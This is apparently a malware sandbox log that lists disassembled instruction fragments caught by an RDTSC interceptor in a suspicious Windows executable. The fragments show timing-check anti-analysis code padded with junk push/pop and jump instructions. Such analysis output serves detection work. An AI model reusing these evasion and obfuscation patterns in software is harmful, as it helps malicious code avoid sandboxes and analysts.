Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	RDTSC instruction interceptor: First address: A0327F second address: A032A1 instructions: 0x00000000 rdtsc 0x00000002 jp 00007FB57088F9D6h 0x00000008 push ebx 0x00000009 pop ebx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d pushad 0x0000000e popad 0x0000000f pushad 0x00000010 popad 0x00000011 jmp 00007FB57088F9E0h 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	RDTSC instruction interceptor: First address: A032A1 second address: A032D3 instructions: 0x00000000 rdtsc 0x00000002 js 00007FB570775C5Ch 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jp 00007FB570775C62h 0x00000012 jne 00007FB570775C5Eh 0x00000018 rdtsc
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	RDTSC instruction interceptor: First address: 94A0C4 second address: 94A0E6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 push eax 0x00000006 push edx 0x00000007 jnc 00007FB57088F9D6h 0x0000000d jmp 00007FB57088F9E5h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	RDTSC instruction interceptor: First address: 94A0E6 second address: 94A11F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB570775C61h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 js 00007FB570775C70h 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	RDTSC instruction interceptor: First address: A0FDF7 second address: A0FDFB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	RDTSC instruction interceptor: First address: A0FDFB second address: A0FE01 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	RDTSC instruction interceptor: First address: A0FF61 second address: A0FF65 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	RDTSC instruction interceptor: First address: A0FF65 second address: A0FF6B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	RDTSC instruction interceptor: First address: A0FF6B second address: A0FF85 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 jmp 00007FB57088F9E4h 0x0000000b rdtsc
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	RDTSC instruction interceptor: First address: A0FF85 second address: A0FFA6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007FB570775C67h 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	RDTSC instruction interceptor: First address: A10298 second address: A1029F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push esi 0x00000004 pop esi 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	RDTSC instruction interceptor: First address: A10546 second address: A1057D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 jmp 00007FB570775C69h 0x0000000a push eax 0x0000000b push edx 0x0000000c push ebx 0x0000000d pop ebx 0x0000000e jmp 00007FB570775C65h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	RDTSC instruction interceptor: First address: A1099C second address: A109DC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB57088F9E9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jc 00007FB57088F9DCh 0x0000000f jnl 00007FB57088F9D6h 0x00000015 pushad 0x00000016 jmp 00007FB57088F9E2h 0x0000001b pushad 0x0000001c popad 0x0000001d push eax 0x0000001e push edx 0x0000001f rdtsc
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	RDTSC instruction interceptor: First address: A10B3C second address: A10B46 instructions: 0x00000000 rdtsc 0x00000002 jp 00007FB570775C56h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	RDTSC instruction interceptor: First address: A10B46 second address: A10B5B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop esi 0x00000007 ja 00007FB57088F9EAh 0x0000000d push eax 0x0000000e push edx 0x0000000f jbe 00007FB57088F9D6h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	RDTSC instruction interceptor: First address: A10CE2 second address: A10CE7 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	RDTSC instruction interceptor: First address: A10CE7 second address: A10CF9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push edx 0x00000009 push esi 0x0000000a jc 00007FB57088F9D6h 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	RDTSC instruction interceptor: First address: A10CF9 second address: A10D11 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 jmp 00007FB570775C63h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	RDTSC instruction interceptor: First address: A113C3 second address: A113C9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	RDTSC instruction interceptor: First address: A113C9 second address: A113D2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ebx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	RDTSC instruction interceptor: First address: A17334 second address: A1733B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 pop eax 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	RDTSC instruction interceptor: First address: A175C1 second address: A175D3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB570775C5Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	RDTSC instruction interceptor: First address: A175D3 second address: A175D9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	RDTSC instruction interceptor: First address: A175D9 second address: A175E0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	RDTSC instruction interceptor: First address: 943586 second address: 94358C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	RDTSC instruction interceptor: First address: 94358C second address: 943590 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	RDTSC instruction interceptor: First address: A2142D second address: A21442 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 push edi 0x00000007 push eax 0x00000008 push edx 0x00000009 js 00007FB57088F9D6h 0x0000000f jl 00007FB57088F9D6h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	RDTSC instruction interceptor: First address: A27D47 second address: A27D4B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	RDTSC instruction interceptor: First address: A27D4B second address: A27D6E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FB57088F9DBh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007FB57088F9E0h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	RDTSC instruction interceptor: First address: A27D6E second address: A27D8C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FB570775C64h 0x00000009 je 00007FB570775C56h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	RDTSC instruction interceptor: First address: A27D8C second address: A27D9F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB57088F9DFh 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	RDTSC instruction interceptor: First address: A278A4 second address: A278C3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pushad 0x00000006 popad 0x00000007 jnc 00007FB570775C56h 0x0000000d pop esi 0x0000000e pop ebx 0x0000000f push eax 0x00000010 push edx 0x00000011 jg 00007FB570775C5Eh 0x00000017 rdtsc
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	RDTSC instruction interceptor: First address: A3291D second address: A32943 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnl 00007FB57088F9D6h 0x0000000a popad 0x0000000b pushad 0x0000000c pushad 0x0000000d popad 0x0000000e pushad 0x0000000f popad 0x00000010 popad 0x00000011 pushad 0x00000012 jnl 00007FB57088F9D6h 0x00000018 jns 00007FB57088F9D6h 0x0000001e popad 0x0000001f popad 0x00000020 push edi 0x00000021 push esi 0x00000022 push edx 0x00000023 pop edx 0x00000024 push eax 0x00000025 push edx 0x00000026 rdtsc
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	RDTSC instruction interceptor: First address: A391B5 second address: A391EC instructions: 0x00000000 rdtsc 0x00000002 jns 00007FB570775C67h 0x00000008 jnp 00007FB570775C72h 0x0000000e jmp 00007FB570775C66h 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	RDTSC instruction interceptor: First address: A3B687 second address: A3B68B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	RDTSC instruction interceptor: First address: A3B68B second address: A3B699 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jl 00007FB570775C62h 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	RDTSC instruction interceptor: First address: A3B699 second address: A3B6A3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jo 00007FB57088F9D6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	RDTSC instruction interceptor: First address: A3B6A3 second address: A3B6AB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	RDTSC instruction interceptor: First address: A3B6AB second address: A3B6AF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	RDTSC instruction interceptor: First address: A3B6AF second address: A3B6D6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 jmp 00007FB570775C69h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jo 00007FB570775C56h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	RDTSC instruction interceptor: First address: A3B6D6 second address: A3B6FD instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 push esi 0x00000005 pop esi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jo 00007FB57088F9F3h 0x00000010 jmp 00007FB57088F9DDh 0x00000015 push eax 0x00000016 push edx 0x00000017 je 00007FB57088F9D6h 0x0000001d push edi 0x0000001e pop edi 0x0000001f rdtsc
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	RDTSC instruction interceptor: First address: 94A103 second address: 94A11F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FB570775C64h 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	RDTSC instruction interceptor: First address: A3E2FD second address: A3E304 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 pop ebx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	RDTSC instruction interceptor: First address: A4581C second address: A4582B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jno 00007FB570775C56h 0x0000000a pop ebx 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	RDTSC instruction interceptor: First address: A4582B second address: A4582F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	RDTSC instruction interceptor: First address: A4582F second address: A45855 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB570775C5Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b ja 00007FB570775C56h 0x00000011 jmp 00007FB570775C5Eh 0x00000016 rdtsc
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	RDTSC instruction interceptor: First address: A45855 second address: A45859 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	RDTSC instruction interceptor: First address: A45995 second address: A4599B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	RDTSC instruction interceptor: First address: A45C81 second address: A45C8D instructions: 0x00000000 rdtsc 0x00000002 jnl 00007FB57088F9D6h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	RDTSC instruction interceptor: First address: A45C8D second address: A45C99 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jg 00007FB570775C56h 0x0000000a pushad 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	RDTSC instruction interceptor: First address: A45C99 second address: A45C9D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	RDTSC instruction interceptor: First address: A4676E second address: A46778 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jc 00007FB570775C56h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	RDTSC instruction interceptor: First address: A4A2A2 second address: A4A2C3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007FB57088F9E5h 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	RDTSC instruction interceptor: First address: A4A2C3 second address: A4A2C7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	RDTSC instruction interceptor: First address: A6696C second address: A66995 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FB57088F9E6h 0x00000009 jmp 00007FB57088F9DFh 0x0000000e rdtsc
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	RDTSC instruction interceptor: First address: A66995 second address: A669D2 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jp 00007FB570775C6Bh 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 push edi 0x00000014 pop edi 0x00000015 jmp 00007FB570775C60h 0x0000001a push edi 0x0000001b pop edi 0x0000001c popad 0x0000001d rdtsc
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	RDTSC instruction interceptor: First address: A7BD5E second address: A7BD63 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	RDTSC instruction interceptor: First address: A7BD63 second address: A7BD69 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	RDTSC instruction interceptor: First address: A7BFEB second address: A7BFF5 instructions: 0x00000000 rdtsc 0x00000002 ja 00007FB57088F9D6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	RDTSC instruction interceptor: First address: A7BFF5 second address: A7C003 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jnc 00007FB570775C58h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	RDTSC instruction interceptor: First address: A7C003 second address: A7C031 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 pushad 0x00000006 popad 0x00000007 jc 00007FB57088F9D6h 0x0000000d popad 0x0000000e pop edx 0x0000000f pop eax 0x00000010 pushad 0x00000011 jmp 00007FB57088F9DAh 0x00000016 pushad 0x00000017 jmp 00007FB57088F9E0h 0x0000001c push eax 0x0000001d push edx 0x0000001e rdtsc
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	RDTSC instruction interceptor: First address: A7C8B9 second address: A7C8BD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	RDTSC instruction interceptor: First address: A7E5DD second address: A7E5F5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jng 00007FB57088F9D6h 0x0000000a pushad 0x0000000b popad 0x0000000c popad 0x0000000d pushad 0x0000000e je 00007FB57088F9D6h 0x00000014 pushad 0x00000015 popad 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	RDTSC instruction interceptor: First address: A7E5F5 second address: A7E5FB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	RDTSC instruction interceptor: First address: A7E5FB second address: A7E600 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	RDTSC instruction interceptor: First address: A7E600 second address: A7E608 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 push edx 0x00000007 pop edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	RDTSC instruction interceptor: First address: A810F2 second address: A810F6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	RDTSC instruction interceptor: First address: A811BE second address: A811C4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	RDTSC instruction interceptor: First address: A811C4 second address: A811C8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	RDTSC instruction interceptor: First address: A811C8 second address: A8123D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp], eax 0x0000000b push 00000000h 0x0000000d push ebp 0x0000000e call 00007FB570775C58h 0x00000013 pop ebp 0x00000014 mov dword ptr [esp+04h], ebp 0x00000018 add dword ptr [esp+04h], 0000001Dh 0x00000020 inc ebp 0x00000021 push ebp 0x00000022 ret 0x00000023 pop ebp 0x00000024 ret 0x00000025 pushad 0x00000026 mov esi, 19EB4ECEh 0x0000002b or dh, 0000001Fh 0x0000002e popad 0x0000002f push 00000004h 0x00000031 push 00000000h 0x00000033 push ebp 0x00000034 call 00007FB570775C58h 0x00000039 pop ebp 0x0000003a mov dword ptr [esp+04h], ebp 0x0000003e add dword ptr [esp+04h], 0000001Dh 0x00000046 inc ebp 0x00000047 push ebp 0x00000048 ret 0x00000049 pop ebp 0x0000004a ret 0x0000004b xor dword ptr [ebp+122D3004h], edx 0x00000051 call 00007FB570775C59h 0x00000056 push edi 0x00000057 push eax 0x00000058 push edx 0x00000059 push eax 0x0000005a push edx 0x0000005b rdtsc
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	RDTSC instruction interceptor: First address: A8123D second address: A81241 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	RDTSC instruction interceptor: First address: A81241 second address: A81274 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB570775C68h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edi 0x0000000a push eax 0x0000000b pushad 0x0000000c jnc 00007FB570775C5Ch 0x00000012 push eax 0x00000013 push edx 0x00000014 jbe 00007FB570775C56h 0x0000001a rdtsc
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	RDTSC instruction interceptor: First address: A81274 second address: A81294 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov eax, dword ptr [esp+04h] 0x0000000b push eax 0x0000000c push edx 0x0000000d push ecx 0x0000000e jmp 00007FB57088F9E1h 0x00000013 pop ecx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	RDTSC instruction interceptor: First address: A81294 second address: A81299 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	RDTSC instruction interceptor: First address: A81299 second address: A812B6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 pop edx 0x00000006 pop eax 0x00000007 mov eax, dword ptr [eax] 0x00000009 jp 00007FB57088F9DAh 0x0000000f push eax 0x00000010 pushad 0x00000011 popad 0x00000012 pop eax 0x00000013 mov dword ptr [esp+04h], eax 0x00000017 push eax 0x00000018 push edx 0x00000019 push esi 0x0000001a push edi 0x0000001b pop edi 0x0000001c pop esi 0x0000001d rdtsc
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	RDTSC instruction interceptor: First address: A81505 second address: A81531 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB570775C5Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], eax 0x0000000c movsx edx, ax 0x0000000f push dword ptr [ebp+122D2E1Bh] 0x00000015 mov dx, si 0x00000018 push 7E299361h 0x0000001d js 00007FB570775C73h 0x00000023 push eax 0x00000024 push edx 0x00000025 push esi 0x00000026 pop esi 0x00000027 rdtsc
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	RDTSC instruction interceptor: First address: 992398 second address: 99239C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	RDTSC instruction interceptor: First address: 99239C second address: 9923A6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	RDTSC instruction interceptor: First address: 9923A6 second address: 9923AA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	RDTSC instruction interceptor: First address: 9923AA second address: 9923B7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	RDTSC instruction interceptor: First address: 51003BC second address: 51003EE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007FB57088F9DFh 0x00000009 or ah, 0000006Eh 0x0000000c jmp 00007FB57088F9E9h 0x00000011 popfd 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	RDTSC instruction interceptor: First address: 51003EE second address: 5100400 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 mov edx, dword ptr [ebp+0Ch] 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d mov ax, di 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	RDTSC instruction interceptor: First address: 5100400 second address: 5100405 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	RDTSC instruction interceptor: First address: 5100405 second address: 5100421 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB570775C60h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ecx, dword ptr [ebp+08h] 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f mov al, 4Ah 0x00000011 rdtsc
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	RDTSC instruction interceptor: First address: 5120641 second address: 51206C7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB57088F9DDh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a jmp 00007FB57088F9E1h 0x0000000f xchg eax, ebp 0x00000010 pushad 0x00000011 mov ecx, 1BB6F9B3h 0x00000016 popad 0x00000017 mov ebp, esp 0x00000019 jmp 00007FB57088F9E2h 0x0000001e xchg eax, ecx 0x0000001f jmp 00007FB57088F9E0h 0x00000024 push eax 0x00000025 pushad 0x00000026 pushad 0x00000027 mov al, bl 0x00000029 popad 0x0000002a pushfd 0x0000002b jmp 00007FB57088F9E4h 0x00000030 adc ecx, 7C1A4D48h 0x00000036 jmp 00007FB57088F9DBh 0x0000003b popfd 0x0000003c popad 0x0000003d xchg eax, ecx 0x0000003e pushad 0x0000003f push eax 0x00000040 push edx 0x00000041 mov ax, AB51h 0x00000045 rdtsc
